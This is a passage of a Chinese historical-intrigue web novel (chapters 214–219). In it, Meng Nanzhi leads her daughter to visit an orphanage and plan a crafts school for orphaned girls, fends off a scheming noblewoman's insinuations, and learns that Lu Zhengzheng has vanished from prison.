“我也见了,模样俊俏,待人也挺和气的,好像还没束发,以后也不知道会便宜了哪家的姑娘。”
“城西的事你们听说了没,镇北侯的那个女儿,不仅长得漂亮,为人还热血正义得很,当街抓坏人呢,一点也不刁蛮。”
“……”
林婉柔耳根子听着那些闲眼,眼睛死死
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盯着那紧闭的朱红大门,在外人面前一向柔情似水的眸子里此刻全是恨意。
这些人,都在欺她身份不尊,得到的镇北侯平夫人之名不正。
终有一天,她要这些人为她今日所受的**付出代价。
林婉柔指尖陷入掌心,直至渗出血迹,她才深呼一口气。
转身之际,她眼中的狠意瞬间收敛,取而代之的是那惯常的温婉与柔弱。
她轻声对身旁的丫鬟吩咐道:“回府,我们再想别的办法。”
丫鬟点头应下,小心翼翼地将被刚才因扶林婉柔掉落在地上的重礼捡起来。
……
孟正德是被内侍李贵亲自送出的宫。
圣上对他越器重,他压力反而越大。
他有秘密,却不能告诉圣上。
圣上知道他有秘密,却从不问他。
两人全靠多年的默契,才能维持基本的君臣关系。
孟正德坐在回府的马车上,闭目沉思。
直到听到货郎的叫卖声,他才突然睁开眼,“阿福,去城南。”
赶车的老阿福只是一怔,略显苍老的脸上便生了笑,“好嘞。”
手中缰绳一拉,马匹便蹄下拐了弯。
似感受到主人的心情,马匹行得很快,不多时便到了地方。
“老爷,到了。”
老阿福将马栓好,去扶孟正德下车。
夜色如墨,晕染了青砖黛瓦。
孟正德立在那方紧闭的素木门扉前,挺直的背影被门梁下的烛光拉得修长。
他抬手欲扣,指尖却在离门板寸许处顿住。
轻风吹过他发间的鬓发,银丝飞上铜铃,缠得它晃动了两下,终归是太轻,未能发出声响。
孟正德喉间反复滚动,到底还是又收回了手,转身上了马车。
“回吧。”
老阿福看着那方小院,暗叹了口气,只得解了缰绳,驾车回府。
轻风再起,吹响铜铃。
素门微开,探出一只头来。
院内传来胡姨娘温婉的声音,“翠平,可是有客?”
翠平抬目看了眼远处已经走远的马车,又抬头看了眼静止不动的铜铃,不解地合了上门。
“没有,可能是我听错了。”
第214章 沈朝昭要发愤图强
事隔多日,秋风渐凉。
孟南枝始终没有去牢狱探看陆筝筝是否真的伤势很重。
反倒是不曾往来的刑部尚书郭夫人,突然安排下人送来了薄礼。
“孟夫人,我家夫人本想亲自前来登门坐客的,但不想前两日得了风寒,一直未见好,这才让奴婢前来,还望孟夫人莫要怪罪。”
来人是个面容喜俏的嬷嬷,一边说着,一边示意身后的丫鬟将礼盒呈上。
礼不重,只是些精致的布匹和香料。
重的,是对方的心意。
联想父亲和她说的公阳公一事,孟南枝便知郭夫人这是在间接向她表态。
林婉柔想把陆筝筝接出去医治的想法,只怕是要彻底落空了。
果真下一刻,喜俏嬷嬷便身子微福地说道:“孟夫人,我家夫人还让奴婢给您带句话,我家老爷行事公允,那林氏再筹谋也是枉然。”
“郭夫人有心了。”
孟南枝微微颔首,示意月芹接礼盒接过。
“那奴婢就不多打扰孟夫人了。”
喜俏嬷嬷面上笑容更甚,内心却是深深呼出一口气。
那日她家老爷回来将林婉柔赶走后,和夫**吵一家。
被关上的寝室内,叮当作响了半夜。
等老爷气得出了门,夫人脸上青紫一片。
这是老爷与夫人成婚二十多载来,第一次同夫人动手。
夫人一开始还不甘心地哭诉老爷,后来总算是想明白因为自己差点给老爷惹了祸事。
本来是想亲自到孟府探望孟南枝的,但脸上的伤一直未好,又不敢久托,便特地叮嘱了她来。
但到底是晚了几日。
她本来还担心孟南枝自持身份高贵,为了拿捏夫人,会不接。
却不想,这外面传言记仇善妒的孟南枝倒是个和气的。
模样也年轻漂亮,真不像三十多岁的妇人。
这也更加印证了官宦夫人间流传的那些话,那陆筝筝还真应该是替她母亲林婉柔背了锅。
林婉柔怕镇北侯为了孟南枝真把她休了,故意污蔑孟南枝的名声呢。
害人不浅,还让女儿背祸,当真是狠毒。
她还是要回去提醒夫人,一定要远离这种小人,免得遭了她的嫉恨被算计。
孟南知不知对方只是见了自己一个照面,就脑补了那么多想法。
府里的布匹本就多得用不完,她便吩咐月芹将那些给胡姨娘送去。
至于是用还是转卖,都交由胡姨娘处理。
父亲这两日又是忙到很晚才回府,孟南枝很少能等到他坐下谈话。
也不知他到底有没有听自己的,去探望一下胡姨娘。
将茶盏放下,孟南枝轻声询问,“今日书院是不是休沐?怎么没见珩儿?”
月芹笑着回道:“二公子一大早就又带着观棋出府了。”
自夫人回来后,二公子变化很大。
她这是第一次见二公子这么认真地做一件事。
孟南枝面上同样生了笑,“他今日去哪条街?”
为了完成细画京城的目标,次子沈砚珩每日散学后,都会带着观棋跑去街巷丈量尺寸。
不到天色黑到看不清五指,便不会回府。
“奴婢听观棋说要去东街。”
“昭儿又在读书?”
“是。”
孟南枝微微颔首,起了身。
“过去看看。”
自上次她与女儿分析陈国公世子夫人是在故意透露陆筝筝的消息后,沈朝昭便没了去看陆筝筝的兴致。
回府睡了一觉后,沈朝昭突然告诉她,要发愤图强,多读点书,增加一下自己的智商和阅历,免得总是看不清别人背后的算计。
孟南枝觉得这是好事,便由着她让她在院子里读书。
……
院子里的老桂树下。
坐在软凳上的知秋,正轻轻地剥着石榴。
玛瑙般的石榴籽落入玉盘,如诗如画。
沈朝昭身着绯色罗裙懒洋洋的斜椅在竹编摇椅上,一手握书,另一只手着一颗饱满的软籽石榴送入唇间。
贝齿一咬,汁水四溢,甜润的滋味在口中散开。
沈朝昭满足地眯了眯眼。
身旁的小几上还堆着几本翻开的书册,微风拂过,书页沙沙作响。
孟南枝走近时,看到的便是这样一幅闲适的画面,不禁唇角笑意更甚。
女儿自幼便不是能坐得住的性子,孟南枝还是难得见她肯静下心来多读读书。
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沈朝昭听到脚步声,抬眼瞧见是母亲,忙起身相迎。
“母亲,您怎么过来了?”
“得了闲,过来看看你。”
见地上还落了一本书,孟南枝弯下身子便想去捡。
哪知沈朝昭却先她一步急急忙忙地捡起来,放在了身后,并将剥好的石榴递到孟南枝面前,“母亲,您尝尝这新摘的石榴,很甜。”
知秋也拘谨地起身行礼。
明显此地无银三百两。
孟南枝轻轻瞥了眼女儿背在身后悄悄将那书移给知秋的动作,笑着捻了颗石榴。
“怎么就你们两个?知夏和丫丫呢?”
前几日她们将美晴的尸体好生安葬后,便将丫丫带回了府。
沈朝昭很喜欢丫丫,就把她养在了自己的院子。
“她们去帮我拿东西了。”
沈朝昭正说着,丫丫便抱着几册书疾步走了过来。
“朝昭姐,你要的书我都拿来了。”
沈朝昭冲她眨眼色,“你先放回去吧,我这些还没看完呢。”
丫丫没听懂,还在往前走。
“这不是你早上说急着要的吗?知夏姐姐特地叮嘱我先给你拿回来的。”
直走到孟南枝面前,才羞涩地停下脚步,“夫人。”
沈朝昭想从她手里接过那几册没有书封的书。
孟南枝却已经笑着从上面拿起一本翻开来。
【嫡女归来,脚踹渣爹手撕白莲】
笑意淡下来,下一本。
【宠妾灭妻,宅斗不如炸侯府】
眉峰微挑,再下一本。
【被赶出侯府后,我成了全族的噩梦】
再再下一本。
【宅斗天花板,敌人坟头草比天高】
孟南枝:……
随着母亲翻开一本又一本,沈朝昭的脸色越来越红。
她圆溜溜的杏眼耷拉下来,小心翼翼地拽了下孟南枝的衣角。
“母亲~”
孟南枝从那雷人的名字中回过神来,看向女儿。
“你说看书,都在看这个?”
沈朝昭连连摇头,“也不是,母亲您让月芹给我送来的书,我都看了。但那太过深奥,我看一会儿就发困。”
“这些,比较简明易懂。”
第215章 母亲,您别生气
“母亲,您别生气。”
沈朝昭第一次向孟南枝撒了娇。
孟南枝又拿起其中一册,大致翻看了下里面的内容。
虽说名字过于雷人、戾气重了点,但文章情节还不算太过离谱,符合大衍的人文风尚。
孟南枝看着女儿那小心翼翼又带着几分讨好的模样,将手中的书册放下,拉着她的手在软凳上坐下。
“母亲没有生气,是母亲考虑不周,没有考虑到你的喜好和接受程度。这些话本虽然名字夸张了些,但既然你喜欢看,偶尔读一读也无妨。”
沈朝昭闻言,本就清亮的眸子里,更加闪亮,“母亲,您真不生气?”
“真不生气。”孟南枝肯定地点头。
她幼年觉得读书乏味时,也常常会去寻一些话本来看。
所以孟南枝并不是真的不能接受女儿看这些东西。
她只是没想到才过十年,这闺门流传的话本,竟然已经从才子佳人的缠绵悱恻,变成了这般直白又带着几分泼辣的风格。
拘谨的知秋此刻也在旁边劝慰道:“小姐,看奴婢说得没错吧,夫人是不会生气的。”
沈朝昭重重地点头,抱住孟南枝的一只胳膊,“母亲真好。”
孟南枝难得见到女儿如此娇态,便轻柔地摸了下她的头,语气柔和,“你看了这么多,可是看出什么了?”
沈朝昭点头又摇头,“好像长脑子了,但好像又没长多少。”
她也是看了之后才发现,人的聪慧与愚笨,好像是天生的。
古人常说“子随母,女随父”。
她应该是外貌随了母亲,脑子随了父亲,不是特别好使。
想到这里,沈朝昭就有点沮丧。
孟南枝好笑地点了点她的鼻子,“你去收拾一下,等会儿随我出去一趟。”
“去哪儿?”沈朝昭站起身。
“慈幼堂。”
孟南枝算是发现了,女儿是真的不适合世家闺阁里那些弯弯绕绕的算计与谋略。
与其让她整日困在府中读那些深奥难懂的书,不如带她出去见见世面,看看这世间百态,或许能让她更通透些。
沈朝昭一听要去慈幼堂,眼睛瞬间亮了起来,“我现在就去收拾,母亲您等等我。”
不多时,沈朝昭便重新换了一身藕色罗裙。
二人共乘马车,带着知秋和丫丫,载了日常物资,便出了府。
慈幼堂位于城东,是大衍开国以来专门设立用来收养孤儿和弃婴的地方。
孟南枝赶到的时候,曹宛清母女也在。
见到她,曹宛清便笑着迎了出来,“南枝,你来晚了。”
孟南枝笑道:“怪我。”
这本就是她们两个约好的,只是没想到郭夫人会派人过去,这才耽搁了时辰。
沈朝昭乖乖地同曹宛清行了礼,“宛清姨安好。”
曹宛清的女儿陈锦书亦同孟南枝行了礼。
本是至交,几人也没过多客套。
曹宛清看了眼沈朝昭身后跟着的丫丫,“这就是那个小姑娘?”
孟南枝自知她指的是马文青和平阳公一事,便点了点头。
两人并肩而行,曹宛清压低了声音,“我父亲说即便此案不能落实平阳公的罪名,可他终究私德有亏,最轻也要落个剥夺阴补子孙的特权。”
曹宛清有些戚戚然,她们曹国公府与平阳公府同为皇亲国戚。
平阳公若是受了处罚,他们难免不会想到自己。
孟南枝轻轻拍了拍她的手背,以示安慰:“宛清姐莫要太过忧心。”
曹宛清微微叹了口气,知道说这些只是徒劳。
只是随着年纪的增长,免不了总想着能多为孩子铺些路,好让他们能走得更加顺当。
曹宛清回头看了眼陈锦书和沈朝昭相处有些融洽的模样,轻轻笑道:
“以前你没回来,朝昭那丫头不怎么参宴,锦书她们俩个虽相熟,却并不常聚。如今你回来了,瞧她们俩这模样,以后倒是可以常走动走动。”
孟南枝顺着她的目光看去,见两个小姑娘正凑在一起,不知在悄悄说着什么,脸上都带着笑意,也笑着点头:“如此甚好。”
说话间,一行人已经走进了慈幼堂。
堂内青砖铺地,满院皆是少女劳作的身影,十一二岁的孤女占了九成。
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>她们穿着粗布补丁衫,要么手背是伤地蹲在井边搓洗衣物,要么指尖扎满**地围坐在一起缝补,还有几个举着比自己还重的斧头去吃力地劈柴。
角落里还坐着几个身有残疾的男童,瘸腿的倚墙编竹篮,瞎眼的摸索着剥豆子,还有一个断臂的在努力地学着用脚递工具。
正在和陈锦书说笑的沈朝昭看到这一幕,脸上的笑容渐渐消失。
她在听到丫丫描述自己的经历时,以为她过得已经够惨了。
哪想到在京都这么繁华的地方,竟然还有这么多孩子过着如此艰难困苦的生活。
沈朝昭只觉眼眶有些发热,她下意识地提了两步,走到孟南枝身前,轻挽了她的衣角,“母亲。”
孟南枝感觉到女儿情绪的变化,语气平和地吩咐。
“你带着知秋她们,把物资发了吧。”
此行本就是让她有所领悟,那么所举便不能加以他人。
沈朝昭重重地点了点头,与陈锦书带着知秋、丫丫一起将马车里带来的日常物资,一一分发下去。
曹宛清看着沈朝昭与孟南枝回来前,明显由内至外所散发的变化,心中不禁暗暗赞叹孟南枝教子有方。
“南枝,你真的很会教孩子,我母亲一直都想把我那个侄子给你带。”
侄子,便是曹景行的儿子。
说来说去,还是想联姻。
虽然明知孟南枝不愿,但她还是忍不住想提。
错过孟南枝,她是真的觉得可惜。
孟南枝轻睨了曹宛清一眼,反问:“宛清姐,你当初也知道那个师尼是假的吗?”
曹宛清和曹宛宁不一样,孟南枝同她说话不必绕弯子。
曹宛清闻言一怔,面上有了讪色,“南枝,我若说我是事后才知道的,你信吗?”
她就知道,依南枝的聪慧,这件事早晚要被揭穿。
孟南枝点头,“我信。”
他们都知道曹宛清和她关系最好,为了瞒她,是不会提前将此事告诉曹宛清的。
“谢谢。”
曹宛清刚松出一口气,却听到孟南枝又问:
“那你知道那个师尼**吗?”
第216章 沈朝昭的想法
曹宛清摇头,微皱的眉头带着不解,“什么时候死的?”
她还记得那个师尼是被谢归舟的属下给带走的。
见她是真不知,孟南枝眸色缓了缓,“下大雨那几日。”
这段时日她也未曾闲着,特地让人去核实了那个师尼的事。
如萧临渊所说,雨水太大,房屋倒塌,砸**。
查不出一点人为痕迹。
可这到底是太过巧合。
即便明知萧临渊是在故意挑拨离间,孟南枝也很难不心生芥蒂。
曹宛清不知孟南枝心中所虑,还在回顾那个师尼的事,气恼地说道:
“**活该,竟然污蔑于你,还有那马夫人,心术不正,三番五次滋事于你。这次她侄子犯事,若坐实罪证,必然要连带着让她再也翻不了身。”
孟南枝闻言心中慰贴,眼前的曹宛清,还是她曾认识的那个宛清姐。
曹宛宁是曹宛宁,她是她,两人总归是不能混为一谈。
便挽了她的手,笑道:“多谢宛清姐为我出气。”
曹宛清嗔了她一眼,“你我之间哪用得着这么客气。”
这边,沈朝昭将带来的布料和糕点递给一个小姑娘时,那个小姑娘抬头满眼羡慕地看了她一眼,却又飞快地低下头,手指还无意识地绞着衣角。
她的衣衫已经磨破,打了各式各样不同颜色的布丁。
“你们都没有家人了吗?”
直看到那小姑娘落了泪,沈朝昭才发现自己的问话有多愚蠢。
一个胆子稍大点的姑娘接过布料,怯生生地答道:“多谢姑娘,我们这些都是没了爹娘的孩子。”
“为什么都是女孩子?还有他们……”
沈朝昭目光落在那几个身有残疾的男童身上,于心不忍。
“因为身体好一点的男孩子都跑出去做工了,有些运气好的还会被大户人家挑走做下人。”
但凡出去能自立的,都不会再回到这里。
“那你们?”沈朝昭看着她们一个比一个凄惨的模样,一时有些语塞。
“我们是女子啊,在这里虽然苦了点,可要跑出去,过得可能还不知道是什么日子呢。”
那姑娘低下头,枯燥的发间插了根断木做的簪子,“之前有姐姐们跑出去后,再也没有回来,我们听嬷嬷说,她们自愿跑去了那种地方。”
“我们生的不好看,出去也没人要,在这里还能有个遮风挡雨的地方,出去了,怕是连个落脚的地儿都寻不到。”
说到最后,那姑娘声音哽咽,眼眶泛红,却强忍着不让泪水落下。
又有个满眼羡慕的小姑娘开了口,“姑娘生得好,将来定能嫁个好人家。”
“我们只能等过了及笄,盼着那些讨不上媳妇的人家,来这里能相中我们把我们带走。若不然,我们只能在这里孤苦伶仃一辈子等**。”
沈朝昭闻言,心中五味杂陈。
她之前听丫丫说起被卖的那段经历时,已经觉得很苦了。
但当她亲眼看到这些孩子,才发觉自己把丫丫那群女孩子的苦,想得还是太简单了。
回程时,当沈朝昭掀开车帘看到那几名同她说话的少女扒着墙根往外望,眼神里全是渴望和茫然时。
像是有根针,狠狠地扎进了她的心窝里。
一直到孟府,沈朝昭的情绪一直都不好。
满脑子都是今天在慈幼堂所看到的画面。
孟南枝知道今日所见所闻刺激了她,却没去劝解,任她自己深思与领悟。
一直到了临睡前,洗漱过后的沈朝昭穿着一身素衣,到了她的闺房。
“母亲,我今晚想和你一起睡。”
少女的心思很简单,什么都挂在脸上。
“好。”
孟南枝眉眼温柔,让月芹又抱来一床新被褥。
烛火如豆,床榻边的纱帐泛着暖的光晕。
两人并肩和衣而卧,青丝交缠间,侧脸的轮廓竟是如出一辙。
感受到女儿始终呼吸不稳,孟南枝侧过身,语气轻柔得像云,“有心事?”
沈朝昭瞪着圆溜溜的杏眼看着头顶的绡帐,思绪有些缥缈。
“母
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亲,您说为何同为女子,我们生来便有锦衣玉食,她们却只能困在那方寸之地,不仅不能温饱,连选择自己人生的权力都没有。”
“还有丫丫,若不是遇到了我们,她是不是就真的成了别人的妾室?”
孟南枝轻轻抚了抚她的秀发,“昭儿,这世间本就不公,女子生存,更是艰难。”
沈朝昭突地一下坐起来,“母亲,我们不能做些什么帮帮她们吗?”
孟南枝同她一起坐起来,眼神中皆是鼓励:“你想怎么办?”
“我们可以把她们买回来,反正现在外祖父是右相,可以多买些下人,而且我们还有铺子,可以多招些人手。”
沈朝昭越说越觉得此法可行,越说眼睛越亮。
孟南枝却是暗叹一口气,女儿想法果真还是简单了些,只能慢慢引导。
“昭儿,你这想法确实是好的。可之后呢?无亲无故的孩子每天都有,可依你外祖父的官职,买下人也是有限的。”
“而且如果你的铺子本就用不了太多人手,若不能保证盈利,又该如何支撑着你去养她们?”
沈朝昭听着母亲的话,原本晶亮的眸子渐渐黯淡下来,“母亲,那我们难道就什么都不做吗?那些女孩子那么可怜。”
她不甘心。
想到今天那个小女孩说的话,沈朝昭的眸子里又带了丝倔强,“为什么那些男孩子就可以出去做工,她们却只能留在那里等着嫁人?”
孟南枝眸色闪了闪,顺着她的话叹道:“是啊,为什么男孩子就可以学手艺,女孩子就不能学手艺呢?”
沈朝昭闻言“腾”地一下站了起来,撞到床顶,痛得头皮发麻。
但她眼睛却是亮得可怕,“母亲,我知道了母亲。”
孟南枝是担心的连忙去揉她的头,“疼不疼?”
即便已经疼得眼角泛出泪花,沈朝昭还是摇了摇头,笑着说道:“母亲,我们开学堂吧。”
“我们请师傅教她们手艺,只要她们如男子一般也有了手艺,何愁不能养活自己。”
第217章 说话还请三思
孟南枝是什么时候有这种想法的呢?
大概是在回来确认陆筝筝和萧临渊真的会在一起后吧。
她是土生土长的大衍人,从小受到的就是礼教和皇权教育的束缚。
是那天幕。
巨大的天幕在她作为反派的三个子女和父亲死后,描绘了陆筝筝和萧临渊的丰功伟绩。
开创女子学堂,普及全民教育。
画面的最后,连女子都登上了朝堂,在那金銮殿上侃侃而谈,与男子一同议政。
再不复往昔女子只能困于后宅、相夫教子的局面。
从这一层面来说,孟南枝不得不承认,这对她思想的冲击是巨大的。
她也是思虑很久,确定女儿并不适合拘于深闺后,才想着先慢慢引导女儿走出这一步。
见母亲不说话,沈朝昭有些着急,“母亲,这个想法怎么样?您总不能还说不行了吧?”
孟南枝轻轻握住沈朝昭的手,“昭儿,你这想法极好。只是,开学堂并非易事。”
虽然这是她刻意引导的,但女儿真的提出来,她却觉得倍感欣慰。
“母亲,我知道。”
沈朝昭坐下来,娇小的脸蛋上第一次出现了沉稳,“您刚说了,这世间本就不公,想要开学堂肯定会有很多阻力。”
孟南枝喉间酸涩,她的孩子是真的在没有母亲的情况下长大了。
而沈朝昭的下一句话,却让她破涕而笑。
“可我不怕,我外祖父可是右相,我曾外祖母可是太后。我只是开个学堂教她们手艺而已,谁敢找我麻烦,我就让他吃不了兜着走。”
孟南枝瞪了女儿一眼,“别乱说。”
她母亲是太后的义女,论名分确实可以称为曾外祖母。
但到底涉及尊卑,孟南枝不希望女儿没有约束,学得嚣张跋扈。
沈朝昭也知道自己说得有些过了,不好意思地吐了吐舌头,“母亲,我就在您面前说,不在外面说的。”
女儿斗志昂扬的模样确实讨人喜欢。
孟南枝轻轻拍了拍她的手背,“昭儿,你记得,开学堂不是靠权势就能成的。你得先想好,要教她们什么手艺,从哪儿请师傅。还有最重要的一点。”
“什么?”沈朝昭眨了眨眼睛。
孟南枝眸色郑重,“不要独秀于林。”
沈朝昭沉默几息,重重地点了点头,“我明白了母亲,我明日就让知秋去陈府递贴子,邀锦书一起游玩。”
见她如此懂事,孟南枝反而心中酸涩,扶着她躺下,“不早了,有什么明天再想,快睡吧。”
烛光闪烁,夜色已过。
孟南枝再一次感叹女儿的精力旺盛。
不待她醒,沈朝昭便已经去了前院开始练鞭。
早早入朝的父亲让阿贵给她留了话,说太子他们已经开始返京。
这是个好消息,孟南枝高兴地多添了半碗饭。
只是才吃完没多久,府里又来了两个添堵的。
陈国公世子夫人亲自登拜访。
不年不节的,两家平日里又没有往来,孟南枝不知道她此刻前来所谓何事。
但到底来者是客,孟南枝便带着沈朝昭笑盈盈地将她迎了进来。
余夫人容貌普通,便胜在衣着华贵,气势非凡。
她父亲乃是工部尚书,如今也同在山城,被圣上派去补修河堤。
孟南枝带着女儿行礼,“余夫人。”
余夫人虚扶一把,“都是自家人,不用这些虚礼,今日是我们冒昧前来,还望勿怪得好。”
孟南枝浅笑着回应,“余夫人哪里话,屋里请。”
众人落座后,丫鬟们奉上茶点。
余夫人指尖涂着蔻丹,端起瓷白的茶盏时,更显得手指纤细如葱。
她掀起茶盖轻抚了两下浮沫,又轻轻放回原处。
看向孟南枝的目光中布满了笑意,“南枝,怪不得都说你变年轻了,你这容貌,说是双十也不为过。”
孟南枝浅笑,“余夫人说话了,只是平日里保养得当罢了,哪里比得上夫人雍容华贵。”
余夫人掩唇轻笑,“你这嘴啊,多年不见还是这般甜,怪不得太后一直都向着你。”
孟南枝神色未动,依旧挂着
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恰到好处的浅笑,“太后她老人家慈爱,对晚辈们多是关怀。”
双方你来我往,都是客套。
余夫人眼波流转,暗叹一声:“要是太后知道你当初没溺亡,定然不会将林婉柔指给镇北侯做平妻。”
来了。
孟南枝心中一动,听她继续说。
“我们都是被林婉柔那副柔柔弱弱的表现给骗了,哪想到她竟然是那样一个人,教坏了孩子,竟然还纵容女儿去污蔑你、买**你,实在是可恶。”
这是觉得前日在铺子里的谋算没能让她中计,亲自登府来给她当面下眼药来了?
孟南枝按眼想要冲动的女儿,面上却依旧挂着得体的笑容,简单附和:“确实是,我也没想到。”
余夫人又道:“我听闻那陆筝筝竟是攀上了奕王,奕王前日里还亲自到牢狱去探望了她,你说这陆筝筝会不会被奕王保出来?”
孟南枝摇头,“这我也不知。”
萧临渊去看陆筝筝,本就在孟南枝的意料之中。
若不去看,孟南枝才觉得奇怪。
即便真被保出来,急的也不该是她。
余夫人见她依旧不为所动,眸色暗了暗,“南枝知道太子他们快要回京了吗?”
孟南枝不懂她为何突然转移话题,轻轻点头:“是有听闻。”
余夫人点头,面上挂着赞赏,“砚修那孩子此行回来,必然会得到圣上赏赐,前途无量,只是不知他若知道陆筝筝入了狱,会怎么想?”
“毕竟那孩子,可是心悦陆筝筝啊。”
沈朝昭闻言站直了身子,“余夫人,您说什么呢?我兄长是有婚约之人,怎么会心悦陆筝筝。”
孟南枝眸色也生了冷意,“余夫人,说话还请三思,莫要坏了两家的和气。”
余夫人见她们母女终于变了色,心中暗笑,面上却是自拍了一下嘴巴,自责道:“瞧我,是我失言了,只是听闻了一些市井传言,就当真了。”
“毕竟当初砚修那孩子想要退婚传的跟真的似的,我一直以为他是为了陆筝筝才要退的婚。”
第218章 他不心悦陆筝筝
“我兄长从未退婚,对那陆筝筝也只是兄妹情谊,余夫人你勿要污蔑我兄长。”
双眼瞪着余夫人的沈朝昭满眼都是怒火。
余夫人表情看似温和地看着沈朝昭,“朝昭你当时跟着太后去了避暑山庄,不知此事也算正常。”
“好像你兄长退婚那日,正是你母亲回来那日,对吧?南枝。”
余夫人说完,笑盈盈地看了孟南枝一眼。
孟南枝示意女儿坐下来,指腹轻点桌案,语气平淡得听不出情绪。
“余夫人怎么说也是世家出身,什么时候竟也学了那些长舌妇的做派,听信起市井间捕风捉影的流言了?”
孟南枝的话并不重,偏偏就是打了余夫人的脸。
因为她父亲虽是工部尚书,但母家出身却并不高,尤其是她的母亲以“长舌”著称,在世家圈里,并不讨喜。
但很多人顾着她是陈国公府的世子夫人,都很避讳地从来都不在她面前提。
如今被孟南枝当面戳穿,余夫人脸上的笑容瞬间凝固。
她眼中闪过一丝尴尬与恼怒,端起茶盏略作掩饰地轻抿了一口。
再抬头,又温和地笑了起来,“南枝,我说起此事也只是想和你提个醒罢了,你又何必动怒?”
“砚修那孩子若对陆筝筝无情便罢了,若是有情,我担心他回来后,会与你生了嫌隙。毕竟我们都是做父母的,我也是见不得你被瞒在鼓里。”
余夫人说完,便又端起茶盏,有一搭没一搭地轻吹上面的浮沫。
在她看来,孟南枝若知道她的长子竟然心悦林婉柔的女儿,必然不会给陆筝筝任何可能翻身的机会。
若是能激得她对陆筝筝下死手,那也不枉她跑这一趟。
哪想孟南枝却根本不按照她的思路走,反而同样温和地笑道:“余夫人说得对,不过说起来,我倒也是听过一则传言。”
“好像是茗央郡主心悦奕王殿下,一直想要和陆筝筝争着给奕王殿下做侧妃,不知道这是不是真的?”
余夫人似觉得手中茶盏过于滚烫般,将它放置在了桌案上,抬目不悦地看向孟南枝,“南枝,你说这话,过了。”
孟南枝丝毫不避让地轻轻挑眉,并抬手指了指自己的脑子,“余夫人,我觉得你应该去太医院看看这里。”
余夫人被气得站了起来,随即又强压着怒力坐下。
再开口,已经放下了倨傲,“南枝,你我目标是一致的。”
陆筝筝她不该出来,最好的结果就是病死在牢狱。
孟南枝摇头,语气带了丝冷意,“余夫人,我们不一致。”
陆筝筝现在还不能死。
若是**,林婉柔就彻底没了牵制。
而且……
孟南枝不动声色的指尖蜷了蜷,轻轻端起茶盏,“余夫人,我身子略乏,若无事,就不送了。”
“孟南枝,你会后悔的。”
余夫人气恼地撂下一句狠话,拂袖而去。
沈朝昭摆手示意下人都退下。
她手指揣着衣角,轻咬下唇,半晌,才几不可闻地出声,“母亲,我大哥他不会和你起嫌隙的。”
孟南枝看向女儿,笑得温和,“当然,你大哥他又不心悦陆筝筝,又怎会和我起嫌隙。”
沈朝昭喉间滚了滚,重重地点头,“是,我大哥他才不心悦那个人呢。”
既然母亲不信余夫人,坚定地站在她这边。
那她还是不要提大哥确实待陆筝筝有些过于亲昵的事了吧。
两人又闲聊了两句,沈朝昭便带着知夏和知秋出了府。
知秋去送贴子时,恰好碰到曹宛清,当下便让陈锦书回了贴。
两人约了地点,今日便一同出去游玩。
沈朝昭走后,孟南枝眸色便暗下来,嘱咐刘嬷嬷安排个靠得住的人去牢狱附近盯着。
余夫人想借她的手去害陆筝筝。
表现得实在过于愚蠢了点。
……
因为太子已经起程返京,被“禁足”的曹宛宁终于被解了禁。
孟南枝自然是要前往探望。
月余未见,曹宛宁比着前几日脸上圆润了一点,在锦衣华服的映衬下,更衬得她整个人雍容华贵。
她见孟南枝前来,面上带着亲切地挽了她的手,“南枝姐。”
孟南枝依旧保持该有的礼仪:“侧妃娘娘。”
曹宛宁拉着她坐下,
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“这些时日多亏有你和孟相相助,若不然,我们不知要走多少弯路。”
不管是施粥,还是疫病,孟南枝提出的每一条建议都起到了重要作用,
孟南枝浅笑,“侧妃严重了,这些都是我和父亲应该做的。”
父亲是为了百姓。
她,只是在避免子女走上绝路的途中,能帮一把,就顺手帮一把罢了。
从月芹手里接过礼盒,孟南枝打开,取出里面的玉件,“这是我亲自选的,不知道是否合你的意。”
玉件质地温润,是一只麒麟怀抱婴儿、脚蹋祥云的造型,底座为紫檀木,刻有“福泽绵延”四字。
“南枝姐送的,我自然欢喜。”
曹宛宁接过玉件,在看到孟南枝因抬高胳膊,所露出手腕上的那串佛珠时,却是眸色闪了闪。
将玉件递给丫鬟,曹宛宁关切地问道:“南枝姐,我听母后说你自普寿寺出了事之后,一直难以入眠,如今可是好些了?”
孟南枝垂下手腕,轻轻转动了两下佛珠,点头道:“多谢侧妃关心,我已经好多了。”
只是刚说完最后一句,喉间便起了涩意。
曹宛宁握住孟南枝的手,温声劝解,“南枝姐,此事即已查明是天灾,你就莫要太过自责了。”
孟南枝垂下头,“我知道,只是一想到那么多条生命,一夜之间便没了生息,总觉得心里难受。”
昨日下午,去岚城弥岳山普寿寺查案的人返京。
出具的核查结果,同当时报来的案情结果一致:十六位师尼,全部死于雷火。
孟南枝实难相信,一夜未眠,闭上眼就是那些师尼被火烧的画面。
曹宛宁柔声道:“南枝姐,生死有命,那些师尼们遭遇此等天灾,也是命数使然。你虽有心,可也不能一直这般折磨自己。”
生死有命,命数。
孟南枝嚼着这两个词,垂垂的眸子暗了暗,面上却是轻轻点了点了头,“侧妃娘娘说的是,我都记下了。”
从太子府出来,孟南枝抬目看了看一望无际的天空。
眼中闪过嘲弄。
她最是不信命数。
若信,她已经**。
第219章 陆筝筝消失了
陆筝筝消失了。
孟南枝知道这个消息的时候,正在看女儿写的学堂规划。
沈朝昭这几日一直没闲着,同陈锦书出去游玩的时候,提及想在慈幼堂开学堂,教那些女孩子手艺一事。
陈锦书自那日从慈幼堂离开后,也因为那些少女的可怜难过了一晚。
得知沈朝昭的想法,如醍醐灌顶,双眼晶亮的当下便拍着胸脯应下,还说发动自己的小姐妹一起帮忙。
沈朝昭谨记母亲交代“不独秀于林”的想法,同意了陈锦书的意见。
还是曹宛清觉得此事不易太多人参与,阻止了女儿陈锦书。
但她思虑过后,觉得这是件好事,主动以曹国公府嫡长女的名义和慈幼堂的管事说起要开学堂一事。
由她出面,还是教那些孤儿手艺,管事自然是百分百同意。
他巴不得这些送不出去的小姑娘能自己养活自己,他好能落下一点银钱补贴自己。
既然管事那边已经没问题,剩下的孟南枝和曹宛清都未再出面,全权交给两个女儿处理,也算是锻炼了两个人的处事能力。
沈朝昭和陈锦书两出谋划策,选了几样适合女孩子学且容易上手的手艺,诸如刺绣、编织、制香之类。
这些她们自己家开的就有铺子,那些女孩子做出来后,只要合格都可以放到铺子里卖。
销路完全没有问题。
至于教手艺的师傅就更简单了。
不管是孟府,还是曹公国公府,亦或者是陈府,会这些手艺的丫鬟和嬷嬷多的是,挑出几个来教那些女孩子也完全不成问题。
一切都在往好的方向发展。
结果负责在牢狱附近看点的下人回来汇报,牢狱遭到袭击,陆筝筝不见了。
